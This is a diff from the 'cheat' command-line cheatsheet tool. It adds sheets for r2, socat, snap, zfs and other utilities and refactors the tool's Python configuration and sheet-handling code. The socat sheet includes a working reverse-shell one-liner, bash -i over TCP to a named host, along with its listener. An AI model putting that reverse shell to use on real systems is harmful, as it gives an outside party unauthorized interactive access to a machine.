r2m2$ export R2M2_ARCH=mips32l; rasm2 -a r2m2 'addiu a0, a1, 2' |rasm2 -a r2m2 -d -
ADDIU A0, A1, 0x2
+ Disassemble random MSP430 instructions in r2
r2m2$ R2M2_ARCH=msp430 r2 -a r2m2 -qc 'woR; pd 5' -
0x00000000 07fa and.w R10, R7
0x00000002 47ad dadd.b R13, R7
0x00000004 f05e0778 add.b @R14+, 0x7807(PC)
0x00000008 f46d81ed addc.b @R13+, 0xED81(R4)
0x0000000c 3fdc bis.w @R12+, R15
+ Assemble MIPS32 using rasm2 and display the call graph using r2
r2m2$ R2M2_ARCH=mips32b rasm2 -a r2m2 'j 0x4; nop' -B > j_nop.bin
r2m2$ R2M2_ARCH=mips32b r2 -a r2m2 -qc 'pd 2' j_nop.bin
,=< 0x00000000 0c000001 JAL 0x4
`-> 0x00000004 00000000 NOP
# bin carving with r2
+ Open raw dump
r2 -n dump.bin
+ Searching for magic
[0x00000000]> / \x7fELF
Searching 4 bytes from 0x00000000 to 0x0000002d: 7f 45 4c 46
0x00001340 hit0_0
0x00001744 hit0_1
...
+ Dump 1M with at several hits
[0x00000000]> b 1M
[0x00000000]> wt @@ hit0*
+ Automate it
$ for a in dump.* ; do
sz=`rabin2 -Z $a` # get RBin.filesize
r2 -wnqc"r $sz" $a # resize file
done
http://radare.today/posts/carving-bins/
# r4ge - symbolic execution
+ https://github.com/gast04/r4ge
Usage: https://asciinema.org/a/155856
# r2wiki -Macro for using wiki in commandline
+ https://github.com/securisec/r2wiki
$wiki "query string"

26
cheat/cheatsheets/rcs Normal file
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@ -0,0 +1,26 @@
# Initial check-in of file (leaving file active in filesystem)
ci -u <filename>
# Check out with lock
co -l <filename>
# Check in and unlock (leaving file active in filesystem)
ci -u <filename>
# Display version x.y of a file
co -px.y <filename>
# Undo to version x.y (overwrites file active in filesystem with the specified revision)
co -rx.y <filename>
# Diff file active in filesystem and last revision
rcsdiff <filename>
# Diff versions x.y and x.z
rcsdiff -rx.y -rx.z <filename>
# View log of check-ins
rlog <filename>
# Break an RCS lock held by another person on a file
rcs -u <filename>

3
cheat/cheatsheets/rsync
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@ -12,3 +12,6 @@ rsync -auv /src/foo /dest
# Explicitly copy /src/foo to /dest/foo
rsync -auv /src/foo/ /dest/foo
# Copy file from local to remote over ssh with non standard port 1234 to destination folder in remoteuser's home directory
rsync -avz -e "ssh -p1234" /source/file1 remoteuser@X.X.X.X:~/destination/

20
cheat/cheatsheets/scd Normal file
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@ -0,0 +1,20 @@
# To index recursively some paths for the very first run:
scd -ar ~/Documents/
# To change to a directory path matching "doc":
scd doc
# To change to a path matching all of "a", "b" and "c":
scd a b c
# To change to a directory path that ends with "ts":
scd "ts$"
# To show selection menu and ranking of 20 most likely directories:
scd -v
# To alias current directory as "xray":
scd --alias=xray
# To jump to a previously defined aliased directory:
scd xray

3
cheat/cheatsheets/scp
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@ -3,3 +3,6 @@ scp foo.txt user@example.com:remote/dir
# To copy a file from a remote server to your local machine:
scp user@example.com:remote/dir/foo.txt local/dir
# To scp a file over a SOCKS proxy on localhost and port 9999 (see ssh for tunnel setup):
scp -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" file.txt username@example2.com:/tmp/

6
cheat/cheatsheets/sed
View File

@ -15,3 +15,9 @@ sed '/^$/d' file.txt
# To replace newlines in multiple lines
sed ':a;N;$!ba;s/\n//g' file.txt
# Insert a line before a matching pattern:
sed '/Once upon a time/i\Chapter 1'
# Add a line after a matching pattern:
sed '/happily ever after/a\The end.'

15
cheat/cheatsheets/slurm Normal file
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@ -0,0 +1,15 @@
# Submit a new job:
sbatch job.sh
# List all jobs for a user:
squeue -u user_name
# Cancel a job by id or name:
scancel job_id
scancel --name job_name
# List all information for a job:
scontrol show jobid -dd job_id
# Status info for currently running job:
sstat --format=AveCPU,AvePages,AveRSS,AveVMSize,JobID -j job_id --allsteps

98
cheat/cheatsheets/snap Normal file
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@ -0,0 +1,98 @@
# To find the `foo` snap:
snap find foo
# To view detailed information about snap `foo`:
snap info foo
# To view all private snaps (must be logged in):
snap find --private
# To install the `foo` snap:
sudo snap install foo
# To install the `foo` snap from the "beta" channel:
sudo snap install foo --channel=beta
# To view installed snaps:
snap list
# To list all revisions of installed snaps:
snap list --all
# To (manually) update all snaps:
sudo snap refresh
# To (manually) update the `foo` snap:
sudo snap refresh foo
# To update the `foo` snap to the "beta" channel:
sudo snap refresh foo --channel=beta
# To revert the `foo` snap to a prior version:
sudo snap revert foo
# To revert the `foo` snap to revision 5:
snap revert foo --revision 5
# To remove the `foo` snap:
sudo snap remove foo
# To log in to snap (must first create account online):
sudo snap login
# To log out of snap:
snap logout
# To view a transaction log summary:
snap changes
# To view details of item 123 in the transaction log:
snap change 123
# To watch transaction 123:
snap watch 123
# To abort transaction 123:
snap abort 123
# To download the `foo` snap (and its assertions) *without* installing it:
snap download foo
# To install the locally-downloaded `foo` snap with assertions:
snap ack foo.assert
snap install foo.snap
# To install the locally-downloaded `foo` snap without assertions:
# NB: this is dangerous, because the integrity of the snap will not be
# verified. You should only do this to test a snap that you are currently
# developing.
snap install --dangerous foo.snap
# To install snap `foo` in "dev mode":
# NB: this is dangerous, and bypasses the snap sandboxing mechanisms
snap install --devmode foo
# To install snap `foo` in "classic mode":
# NB: this is likewise dangerous
snap install --classic foo
# To view available snap interfaces:
snap interfaces
# To connect the `foo:camera` plug to the ubuntu core slot:
snap connect foo:camera :camera
# To disconnect the `foo:camera` plug from the ubuntu core slot:
snap disconnect foo:camera
# To disable the `foo` snap
snap disable foo
# To enable the `foo` snap
snap enable foo
# To set snap `foo`'s `bar` property to 10:
snap set foo bar=10
# To read snap `foo`'s current `bar` property:
snap get foo bar

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@ -0,0 +1,37 @@
# socat connect to http-server (port 80 on 'butzel.info')
socat TCP4:butzel.info:80 -
# connect to https-server (port 443 on 'butzel.info' with tls)
socat openssl:butzel.info:443 -
# tcp-listener (port 3180), output as hexdump (-x) and fork for new connetions
socat -x tcp-listen:3180,fork -
# practical examples:
# complete real working http-example:
# (sleep is necessary to prevent socat closing socket before data received)
(echo -e "GET / HTTP/1.1\r\nHost: butzel.info\r\n\r" && sleep 1) \
| socat tcp4:butzel.info:80 -
# http to httpS 'Proxy' (for an webserver without TLS-Support)
socat OPENSSL-LISTEN:443,reuseaddr,pf=ip4,fork,cert=server.pem,cafile=client.crt,verify=0 TCP4-CONNECT:127.0.0.1:80
# port forwarding (e.g. own port 3180 to port 22(ssh) on target
socat TCP4-LISTEN:3180,reuseaddr,fork TCP4:butzel.info:ssh
# TOR-forwarding (needs tor-daemon on port 9050 running)
socat tcp4-listen:8080,reuseaddr,fork socks4A:127.0.0.1:t0rhidd3ns3rvice.onion:80,socksport=9050
# network (port 8266) to serial bridge (/dev/ttyUSB0 baudrate: 115200)
socat TCP4-LISTEN:8266,fork,reuseaddr /dev/ttyUSB0,raw,crnl,b115200
# udp to tcp
socat -u udp-recvfrom:1234,fork tcp:localhost:4321
# reverse shell:
socat exec:'bash -i',pty,stderr tcp:remote.butzel.info:3180
# listener for above reverse shell (on remote.butzel.info):
socat file:`tty`,raw,echo=0 tcp-listen:3180
# or: nc -lp 3180

5
cheat/cheatsheets/ssh
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@ -21,7 +21,10 @@ ssh -f -L 8080:remote.example.com:5000 user@personal.server.com -N
ssh -X -t user@example.com 'chromium-browser'
# To create a SOCKS proxy on localhost and port 9999
ssh -D 9999 user@example.com
ssh -qND 9999 user@example.com
# To tunnel an ssh session over the SOCKS proxy on localhost and port 9999
ssh -o "ProxyCommand nc -x 127.0.0.1:9999 -X 4 %h %p" username@example2.com
# -X use an xsession, -C compress data, "-c blowfish" use the encryption blowfish
ssh user@example.com -C -c blowfish -X

3
cheat/cheatsheets/tee
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@ -3,3 +3,6 @@ ls | tee outfile.txt
# To tee stdout and append to a file:
ls | tee -a outfile.txt
# To tee stdout to the terminal, and also pipe it into another program for further processing:
ls | tee /dev/tty | xargs printf "\033[1;34m%s\033[m\n"

4
cheat/cheatsheets/xargs
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@ -10,3 +10,7 @@ find -name *.pdf | xargs -I{} rm -rf '{}'
# -n1 => One file by one file. ( -n2 => 2 files by 2 files )
find -name *.pdf | xargs -I{} -n1 echo '&{}='
# If find returns no result, do not run rm
# This option is a GNU extension.
find -name "*.pdf" | xargs --no-run-if-empty rm

7
cheat/cheatsheets/youtube-dl
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@ -16,5 +16,8 @@ youtube-dl --playlist-start 5 example.com/watch?v=id&list=listid
# To simulate a download with youtube-dl:
youtube-dl -s example.com/watch?v=id
# For all video formats see
# http://en.wikipedia.org/wiki/YouTube#Quality_and_codecs
# To download audio in mp3 format with best quality available
youtube-dl --extract-audio --audio-format mp3 --audio-quality 0 example.com/watch?v=id
# For all video formats see link below (unfold "Comparison of YouTube media encoding options")
# https://en.wikipedia.org/w/index.php?title=YouTube&oldid=723160791#Quality_and_formats

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# WARNING:
# In order to avoid headaches when moving ZFS physical devices around,
# one will be much better served to reference devices by their *immutable*
# ID - as in /dev/disk/by-id/* - rather than their block device name -
# as in /dev/{sd,nvme}* - which is bound to change as per PCI enumeration
# order.
# For the sake of briefness, we'll use the following variables:
# ${device} device (/dev/disk/by-id/${device})
# ${part} partition (/dev/disk/by-id/${part=${device}-part${N}})
# ${pool} ZFS pool (name)
# ${fs_vol} ZFS file system or volume (name)
# ${snapshot} ZFS snapshot (name)
## Pools
# Create a new "RAID-5" (raidz1) pool
# Recommended: use entire devices rather than partitions
zpool create ${pool} raidz1 ${device} ${device} ${device} [...]
# Add 2nd-level "RAID-1" (mirror) ZFS Intent Log (ZIL; synchronous write cache)
# Recommended: use separate, fast, low-latency devices (e.g. NVMe)
zpool add ${pool} log mirror ${part} ${part}
# Add 2nd-level "RAID-0" Adaptive Replacement Cache (ARC; read cache)
# Recommended: use separate, fast, low-latency devices (e.g. NVMe)
zpool add ${pool} cache ${part} ${part} [...]
# Remove log or cache components
zpool remove zfs ${part} [...]
# Import (enable) existing pool from newly connected devices
# Note: this will create the /etc/zfs/zpool.cache devices cache
zpool import -d /dev/disk/by-id -aN
# Import (enable) existing pool using the devices cache
zpool import -c /etc/zfs/zpool.cache -aN
# Export (disable) pool (e.g. before shutdown)
zpool export -a
# List all (imported) pools
zpool list
# See pool status
zpool status ${pool}
# See detailed pool I/O statistics
zpool iostat ${pool} -v
# Verify pool integrity (data checksums)
# (watch progress with 'zpool status')
zpool scrub ${pool}
# Remove a failing device from a pool
# Note: redundant pools (mirror, raidz) will continue working in degraded state
zpool detach ${pool} ${device}
# Replace a failed device in a pool
# Note: new device will be "resilvered" automatically (parity reconstruction)
# (watch progress with 'zpool status')
zpool replace ${pool} ${failed-device} ${new-device}
# Erase zpool labels ("superblock") from a device/partition
# WARNING: MUST do before reusing a device/partition for other purposes
zpool labelclear ${device}
# Query pool configuration (properties)
zpool get all ${pool}
# Change pool configuration (property)
zpool set <property>=<value> ${pool}
# Dump the entire pool (commands) history
zpool history ${pool}
# More...
man zpool
## File systems / Volumes
# Create a new file system
zfs create ${pool}/${fs_vol}
# Create a new volume ("block device")
# Note: look for it in /dev/zvol/${pool}/${fs_vol}
zfs create -V <size> ${pool}/${fs_vol}
# List all file systems / volumes
zfs list
# Mount all file systems
# Note: see 'zfs get mountpoint ${pool}' for mountpoint root path
zfs mount -a
# Create a snapshot
zfs snapshot ${pool}/${fs_vol}@${snapshot}
# Delete a snapshot
zfs destroy ${pool}/${fs_vol}@${snapshot}
# Full backup
# Note: pipe (|) source to destination through netcat, SSH, etc.
# ... on source:
zfs send -p -R ${pool}/${fs_vol}@${snapshot}
# ... on destination:
zfs receive -F ${pool}/${fs_vol}
# Incremental backup
# Note: pipe (|) source to destination through netcat, SSH, etc.
# ... on source:
zfs send -p -R -i ${pool}/${fs_vol}@${snapshot-previous} ${pool}/${fs_vol}@${snapshot}
# ... on destination:
zfs receive -F ${pool}/${fs_vol}
# Query file system / volume configuration (properties)
zfs get all ${pool}
zfs get all ${pool}/${fs_vol}
# Change file system / volume configuration (property)
zfs set <property>=<value> ${pool}/${fs_vol}
# More...
man zfs

3
cheat/cheatsheets/zip
View File

@ -1,5 +1,8 @@
# Create zip file
zip archive.zip file1 directory/
# Create zip file with password
zip -P password archive.zip file1
# To list, test and extract zip archives, see unzip
cheat unzip

65
cheat/colorize.py Normal file
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from __future__ import print_function
import sys
class Colorize:
def __init__(self, config):
self._config = config
def search(self, needle, haystack):
""" Colorizes search results matched within a line """
# if a highlight color is not configured, exit early
if not self._config.cheat_highlight:
return haystack
# otherwise, attempt to import the termcolor library
try:
from termcolor import colored
# if the import fails, return uncolored text
except ImportError:
return haystack
# if the import succeeds, colorize the needle in haystack
return haystack.replace(needle,
colored(needle, self._config.cheat_highlight))
def syntax(self, sheet_content):
""" Applies syntax highlighting """
# only colorize if cheat_colors is true, and stdout is a tty
if self._config.cheat_colors is False or not sys.stdout.isatty():
return sheet_content
# don't attempt to colorize an empty cheatsheet
if not sheet_content.strip():
return ""
# otherwise, attempt to import the pygments library
try:
from pygments import highlight
from pygments.lexers import get_lexer_by_name
from pygments.formatters import TerminalFormatter
# if the import fails, return uncolored text
except ImportError:
return sheet_content
# otherwise, attempt to colorize
first_line = sheet_content.splitlines()[0]
lexer = get_lexer_by_name('bash')
# apply syntax-highlighting if the first line is a code-fence
if first_line.startswith('```'):
sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
try:
lexer = get_lexer_by_name(first_line[3:])
except Exception:
pass
return highlight(
sheet_content,
lexer,
TerminalFormatter(bg=self._config.cheat_colorscheme))

120
cheat/configuration.py Normal file
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from cheat.utils import Utils
import json
import os
class Configuration:
def __init__(self):
# compute the location of the config files
config_file_path_global = self._select([
os.environ.get('CHEAT_GLOBAL_CONF_PATH'),
'/etc/cheat',
])
config_file_path_local = self._select([
os.environ.get('CHEAT_LOCAL_CONF_PATH'),
os.path.expanduser('~/.config/cheat/cheat'),
])
# attempt to read the global config file
config = {}
try:
config.update(self._read_config_file(config_file_path_global))
except Exception as e:
Utils.warn('Error while parsing global configuration: '
+ e.message)
# attempt to read the local config file
try:
config.update(self._read_config_file(config_file_path_local))
except Exception as e:
Utils.warn('Error while parsing local configuration: ' + e.message)
# With config files read, now begin to apply envvar overrides and
# default values
# self.cheat_colors
self.cheat_colors = self._select([
Utils.boolify(os.environ.get('CHEAT_COLORS')),
Utils.boolify(os.environ.get('CHEATCOLORS')),
Utils.boolify(config.get('CHEAT_COLORS')),
True,
])
# self.cheat_colorscheme
self.cheat_colorscheme = self._select([
os.environ.get('CHEAT_COLORSCHEME'),
config.get('CHEAT_COLORSCHEME'),
'light',
]).strip().lower()
# self.cheat_user_dir
self.cheat_user_dir = self._select([
os.environ.get('CHEAT_USER_DIR'),
os.environ.get('CHEAT_DEFAULT_DIR'),
os.environ.get('DEFAULT_CHEAT_DIR'),
# TODO: XDG home?
os.path.expanduser(
os.path.expandvars(os.path.join('~', '.cheat'))
),
])
# self.cheat_editor
self.cheat_editor = self._select([
os.environ.get('CHEAT_EDITOR'),
os.environ.get('EDITOR'),
os.environ.get('VISUAL'),
config.get('CHEAT_EDITOR'),
'vi',
])
# self.cheat_highlight
self.cheat_highlight = self._select([
os.environ.get('CHEAT_HIGHLIGHT'),
config.get('CHEAT_HIGHLIGHT'),
False,
])
if isinstance(self.cheat_highlight, str):
Utils.boolify(self.cheat_highlight)
# self.cheat_path
self.cheat_path = self._select([
os.environ.get('CHEAT_PATH'),
os.environ.get('CHEATPATH'),
config.get('CHEAT_PATH'),
'/usr/share/cheat',
])
def _read_config_file(self, path):
""" Reads configuration file and returns list of set variables """
config = {}
if os.path.isfile(path):
with open(path) as config_file:
config.update(json.load(config_file))
return config
def _select(self, values):
for v in values:
if v is not None:
return v
def validate(self):
""" Validates configuration parameters """
# assert that cheat_highlight contains a valid value
highlights = [
'grey', 'red', 'green', 'yellow',
'blue', 'magenta', 'cyan', 'white',
False
]
if self.cheat_highlight not in highlights:
Utils.die("%s %s" %
('CHEAT_HIGHLIGHT must be one of:', highlights))
# assert that the color scheme is valid
colorschemes = ['light', 'dark']
if self.cheat_colorscheme not in colorschemes:
Utils.die("%s %s" %
('CHEAT_COLORSCHEME must be one of:', colorschemes))
return True

29
cheat/editor.py Normal file
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from __future__ import print_function
from cheat.utils import Utils
import subprocess
class Editor:
def __init__(self, config):
self._config = config
def editor(self):
""" Determines the user's preferred editor """
# assert that the editor is set
if not self._config.cheat_editor:
Utils.die(
'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
'variable or setting in order to create/edit a cheatsheet.'
)
return self._config.cheat_editor
def open(self, filepath):
""" Open `filepath` using the EDITOR specified by the env variables """
editor_cmd = self.editor().split()
try:
subprocess.call(editor_cmd + [filepath])
except OSError:
Utils.die('Could not launch ' + self.editor())

108
cheat/sheet.py
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@ -1,76 +1,64 @@
from cheat.editor import Editor
from cheat.utils import Utils
import io
import os
import shutil
from cheat import sheets
from cheat.utils import die, open_with_editor
def copy(current_sheet_path, new_sheet_path):
""" Copies a sheet to a new path """
class Sheet:
# attempt to copy the sheet to DEFAULT_CHEAT_DIR
try:
shutil.copy(current_sheet_path, new_sheet_path)
def __init__(self, config, sheets):
self._config = config
self._editor = Editor(config)
self._sheets = sheets
# fail gracefully if the cheatsheet cannot be copied. This can happen if
# DEFAULT_CHEAT_DIR does not exist
except IOError:
die('Could not copy cheatsheet for editing.')
def _exists(self, sheet):
""" Predicate that returns true if the sheet exists """
return (sheet in self._sheets.get() and
os.access(self._path(sheet), os.R_OK))
def _exists_in_default_path(self, sheet):
""" Predicate that returns true if the sheet exists in default_path"""
default_path = os.path.join(self._config.cheat_user_dir, sheet)
return (sheet in self._sheets.get() and
os.access(default_path, os.R_OK))
def create_or_edit(sheet):
""" Creates or edits a cheatsheet """
def _path(self, sheet):
""" Returns a sheet's filesystem path """
return self._sheets.get()[sheet]
# if the cheatsheet does not exist
if not exists(sheet):
create(sheet)
def edit(self, sheet):
""" Creates or edits a cheatsheet """
# if the cheatsheet exists but not in the default_path, copy it to the
# default path before editing
elif exists(sheet) and not exists_in_default_path(sheet):
copy(path(sheet), os.path.join(sheets.default_path(), sheet))
edit(sheet)
# if the cheatsheet does not exist
if not self._exists(sheet):
new_path = os.path.join(self._config.cheat_user_dir, sheet)
self._editor.open(new_path)
# if it exists and is in the default path, then just open it
else:
edit(sheet)
# if the cheatsheet exists but not in the default_path, copy it to the
# default path before editing
elif self._exists(sheet) and not self._exists_in_default_path(sheet):
try:
shutil.copy(
self._path(sheet),
os.path.join(self._config.cheat_user_dir, sheet)
)
# fail gracefully if the cheatsheet cannot be copied. This can
# happen if CHEAT_USER_DIR does not exist
except IOError:
Utils.die('Could not copy cheatsheet for editing.')
def create(sheet):
""" Creates a cheatsheet """
new_sheet_path = os.path.join(sheets.default_path(), sheet)
open_with_editor(new_sheet_path)
self._editor.open(self._path(sheet))
# if it exists and is in the default path, then just open it
else:
self._editor.open(self._path(sheet))
def edit(sheet):
""" Opens a cheatsheet for editing """
open_with_editor(path(sheet))
def read(self, sheet):
""" Returns the contents of the cheatsheet as a String """
if not self._exists(sheet):
Utils.die('No cheatsheet found for ' + sheet)
def exists(sheet):
""" Predicate that returns true if the sheet exists """
return sheet in sheets.get() and os.access(path(sheet), os.R_OK)
def exists_in_default_path(sheet):
""" Predicate that returns true if the sheet exists in default_path"""
default_path_sheet = os.path.join(sheets.default_path(), sheet)
return sheet in sheets.get() and os.access(default_path_sheet, os.R_OK)
def is_writable(sheet):
""" Predicate that returns true if the sheet is writeable """
return sheet in sheets.get() and os.access(path(sheet), os.W_OK)
def path(sheet):
""" Returns a sheet's filesystem path """
return sheets.get()[sheet]
def read(sheet):
""" Returns the contents of the cheatsheet as a String """
if not exists(sheet):
die('No cheatsheet found for ' + sheet)
with open(path(sheet)) as cheatfile:
return cheatfile.read()
with io.open(self._path(sheet), encoding='utf-8') as cheatfile:
return cheatfile.read()

135
cheat/sheets.py
View File

@ -1,92 +1,77 @@
from cheat.colorize import Colorize
from cheat.utils import Utils
import io
import os
from cheat import cheatsheets
from cheat.utils import die
def default_path():
""" Returns the default cheatsheet path """
class Sheets:
# determine the default cheatsheet dir
default_sheets_dir = os.environ.get('DEFAULT_CHEAT_DIR') or os.path.join('~', '.cheat')
default_sheets_dir = os.path.expanduser(os.path.expandvars(default_sheets_dir))
def __init__(self, config):
self._config = config
self._colorize = Colorize(config)
# create the DEFAULT_CHEAT_DIR if it does not exist
if not os.path.isdir(default_sheets_dir):
try:
# @kludge: unclear on why this is necessary
os.umask(0000)
os.mkdir(default_sheets_dir)
# Assembles a dictionary of cheatsheets as name => file-path
self._sheets = {}
sheet_paths = [
config.cheat_user_dir
]
except OSError:
die('Could not create DEFAULT_CHEAT_DIR')
# merge the CHEAT_PATH paths into the sheet_paths
if config.cheat_path:
for path in config.cheat_path.split(os.pathsep):
if os.path.isdir(path):
sheet_paths.append(path)
# assert that the DEFAULT_CHEAT_DIR is readable and writable
if not os.access(default_sheets_dir, os.R_OK):
die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not readable.')
if not os.access(default_sheets_dir, os.W_OK):
die('The DEFAULT_CHEAT_DIR (' + default_sheets_dir +') is not writable.')
if not sheet_paths:
Utils.die('The CHEAT_USER_DIR dir does not exist '
+ 'or the CHEAT_PATH is not set.')
# return the default dir
return default_sheets_dir
# otherwise, scan the filesystem
for cheat_dir in reversed(sheet_paths):
self._sheets.update(
dict([
(cheat, os.path.join(cheat_dir, cheat))
for cheat in os.listdir(cheat_dir)
if not cheat.startswith('.')
and not cheat.startswith('__')
])
)
def directories(self):
""" Assembles a list of directories containing cheatsheets """
sheet_paths = [
self._config.cheat_user_dir,
]
def get():
""" Assembles a dictionary of cheatsheets as name => file-path """
cheats = {}
# merge the CHEATPATH paths into the sheet_paths
for path in self._config.cheat_path.split(os.pathsep):
sheet_paths.append(path)
# otherwise, scan the filesystem
for cheat_dir in reversed(paths()):
cheats.update(
dict([
(cheat, os.path.join(cheat_dir, cheat))
for cheat in os.listdir(cheat_dir)
if not cheat.startswith('.')
and not cheat.startswith('__')
])
)
return sheet_paths
return cheats
def get(self):
""" Returns a dictionary of cheatsheets as name => file-path """
return self._sheets
def list(self):
""" Lists the available cheatsheets """
sheet_list = ''
pad_length = max([len(x) for x in self.get().keys()]) + 4
for sheet in sorted(self.get().items()):
sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
return sheet_list
def paths():
""" Assembles a list of directories containing cheatsheets """
sheet_paths = [
default_path(),
cheatsheets.sheets_dir()[0],
]
def search(self, term):
""" Searches all cheatsheets for the specified term """
result = ''
# merge the CHEATPATH paths into the sheet_paths
if 'CHEATPATH' in os.environ and os.environ['CHEATPATH']:
for path in os.environ['CHEATPATH'].split(os.pathsep):
if os.path.isdir(path):
sheet_paths.append(path)
for cheatsheet in sorted(self.get().items()):
match = ''
for line in io.open(cheatsheet[1], encoding='utf-8'):
if term in line:
match += ' ' + self._colorize.search(term, line)
if not sheet_paths:
die('The DEFAULT_CHEAT_DIR dir does not exist or the CHEATPATH is not set.')
if match != '':
result += cheatsheet[0] + ":\n" + match + "\n"
return sheet_paths
def list():
""" Lists the available cheatsheets """
sheet_list = ''
pad_length = max([len(x) for x in get().keys()]) + 4
for sheet in sorted(get().items()):
sheet_list += sheet[0].ljust(pad_length) + sheet[1] + "\n"
return sheet_list
def search(term):
""" Searches all cheatsheets for the specified term """
result = ''
for cheatsheet in sorted(get().items()):
match = ''
for line in open(cheatsheet[1]):
if term in line:
match += ' ' + line
if match != '':
result += cheatsheet[0] + ":\n" + match + "\n"
return result
return result

81
cheat/utils.py
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@ -1,71 +1,26 @@
from __future__ import print_function
import os
import sys
import subprocess
def colorize(sheet_content):
""" Colorizes cheatsheet content if so configured """
class Utils:
# only colorize if so configured
if not 'CHEATCOLORS' in os.environ:
return sheet_content
@staticmethod
def die(message):
""" Prints a message to stderr and then terminates """
Utils.warn(message)
exit(1)
try:
from pygments import highlight
from pygments.lexers import get_lexer_by_name
from pygments.formatters import TerminalFormatter
@staticmethod
def warn(message):
""" Prints a message to stderr """
print((message), file=sys.stderr)
# if pygments can't load, just return the uncolorized text
except ImportError:
return sheet_content
@staticmethod
def boolify(value):
""" Type-converts 'true' and 'false' to Booleans """
# if `value` is not a string, return it as-is
if not isinstance(value, str):
return value
first_line = sheet_content.splitlines()[0]
lexer = get_lexer_by_name('bash')
if first_line.startswith('```'):
sheet_content = '\n'.join(sheet_content.split('\n')[1:-2])
try:
lexer = get_lexer_by_name(first_line[3:])
except Exception:
pass
return highlight(sheet_content, lexer, TerminalFormatter())
def die(message):
""" Prints a message to stderr and then terminates """
warn(message)
exit(1)
def editor():
""" Determines the user's preferred editor """
# determine which editor to use
editor = os.environ.get('CHEAT_EDITOR') \
or os.environ.get('VISUAL') \
or os.environ.get('EDITOR') \
or False
# assert that the editor is set
if editor == False:
die(
'You must set a CHEAT_EDITOR, VISUAL, or EDITOR environment '
'variable in order to create/edit a cheatsheet.'
)
return editor
def open_with_editor(filepath):
""" Open `filepath` using the EDITOR specified by the environment variables """
editor_cmd = editor().split()
try:
subprocess.call(editor_cmd + [filepath])
except OSError:
die('Could not launch ' + editor())
def warn(message):
""" Prints a message to stderr """
print((message), file=sys.stderr)
# otherwise, convert "true" and "false" to Boolean counterparts
return value.strip().lower() == "true"

10
ci/lint.sh Executable file
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@ -0,0 +1,10 @@
#!/bin/sh
# Resolve the app root
SCRIPT=`realpath $0`
SCRIPTPATH=`dirname $SCRIPT`
APPROOT=`realpath "$SCRIPTPATH/.."`
flake8 $APPROOT/setup.py
flake8 $APPROOT/bin/cheat
flake8 $APPROOT/cheat/*.py

6
config/cheat Normal file
View File

@ -0,0 +1,6 @@
{
"CHEAT_COLORS" : true,
"CHEAT_COLORSCHEME" : "light",
"CHEAT_EDITOR" : "vi",
"CHEAT_PATH" : "/usr/share/cheat"
}

42
setup.py
View File

@ -1,28 +1,40 @@
from distutils.core import setup
import os
# determine the directory in which to install system-wide cheatsheets
# KLUDGE: It would be better to read `/usr/share/cheat` from `config/cheat`
# rather than hard-coding it here
cheat_path = os.environ.get('CHEAT_PATH') or '/usr/share/cheat'
# aggregate the systme-wide cheatsheets
cheat_files = []
for f in os.listdir('cheat/cheatsheets/'):
cheat_files.append(os.path.join('cheat/cheatsheets/', f))
# specify build params
setup(
name = 'cheat',
version = '2.2.1',
author = 'Chris Lane',
author_email = 'chris@chris-allen-lane.com',
license = 'GPL3',
description = 'cheat allows you to create and view interactive cheatsheets '
name='cheat',
version='2.5.0',
author='Chris Lane',
author_email='chris@chris-allen-lane.com',
license='GPL3',
description='cheat allows you to create and view interactive cheatsheets '
'on the command-line. It was designed to help remind *nix system '
'administrators of options for commands that they use frequently, but not '
'frequently enough to remember.',
url = 'https://github.com/chrisallenlane/cheat',
packages = [
url='https://github.com/chrisallenlane/cheat',
packages=[
'cheat',
'cheat.cheatsheets',
'cheat.test',
],
package_data = {
'cheat.cheatsheets': [f for f in os.listdir('cheat/cheatsheets') if '.' not in f]
},
scripts = ['bin/cheat'],
install_requires = [
scripts=['bin/cheat'],
install_requires=[
'docopt >= 0.6.1',
'pygments >= 1.6.0',
]
'termcolor >= 1.1.0',
],
data_files=[
(cheat_path, cheat_files),
('/etc', ['config/cheat']),
],
)

86
tests/test_configuration.py Normal file
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import unittest2
import os
import shutil
from cheat.configuration import Configuration
def _set_loc_conf(key, value):
_path = os.path.dirname(os.path.abspath(__file__)) + '/home/.config/cheat/cheat'
if value == None:
os.remove(_path)
else:
if not os.path.exists(os.path.dirname(_path)):
os.makedirs(os.path.dirname(_path))
f = open(_path,"w+")
f.write('{"'+ key +'":"'+ value +'"}')
f.close()
def _set_glob_conf(key, value):
_path = os.path.dirname(os.path.abspath(__file__))+ "/etc/cheat"
if value == None:
os.remove(_path)
else:
if not os.path.exists(os.path.dirname(_path)):
os.mkdir(os.path.dirname(_path))
f = open(_path,"w+")
f.write('{"'+ key +'":"'+ value +'"}' )
f.close()
def _set_env_var(key, value):
if value == None:
del os.environ[key]
else:
os.environ[key] = value
def _configuration_key_test(TestConfiguration, key,values, conf_get_method):
for glob_conf in values:
_set_glob_conf(key,glob_conf)
for loc_conf in values:
_set_loc_conf(key,loc_conf)
for env_conf in values:
_set_env_var(key,env_conf)
if env_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),env_conf)
elif loc_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),loc_conf)
elif glob_conf:
TestConfiguration.assertEqual(conf_get_method(Configuration()),glob_conf)
else:
TestConfiguration.assertEqual(conf_get_method(Configuration()),None)
class ConfigurationTestCase(unittest2.TestCase):
def setUp(self):
os.environ['CHEAT_GLOBAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+ '/etc/cheat'
os.environ['CHEAT_LOCAL_CONF_PATH'] = os.path.dirname(os.path.abspath(__file__)) \
+ '/home/.config/cheat/cheat'
def test_get_editor(self):
_configuration_key_test(self,"EDITOR",["nano","vim","gedit",None],
Configuration.get_editor)
def test_get_cheatcolors(self):
_configuration_key_test(self,"CHEATCOLORS",["true",None],
Configuration.get_cheatcolors)
def test_get_cheatpath(self):
_configuration_key_test(self,"CHEATPATH",["/etc/myglobalcheats",
"/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_cheatpath)
def test_get_defaultcheatdir(self):
_configuration_key_test(self,"DEFAULT_CHEAT_DIR",["/etc/myglobalcheats",
"/etc/anotherglobalcheats","/rootcheats",None],Configuration.get_default_cheat_dir)
def tearDown(self):
shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/etc')
shutil.rmtree(os.path.dirname(os.path.abspath(__file__)) +'/home')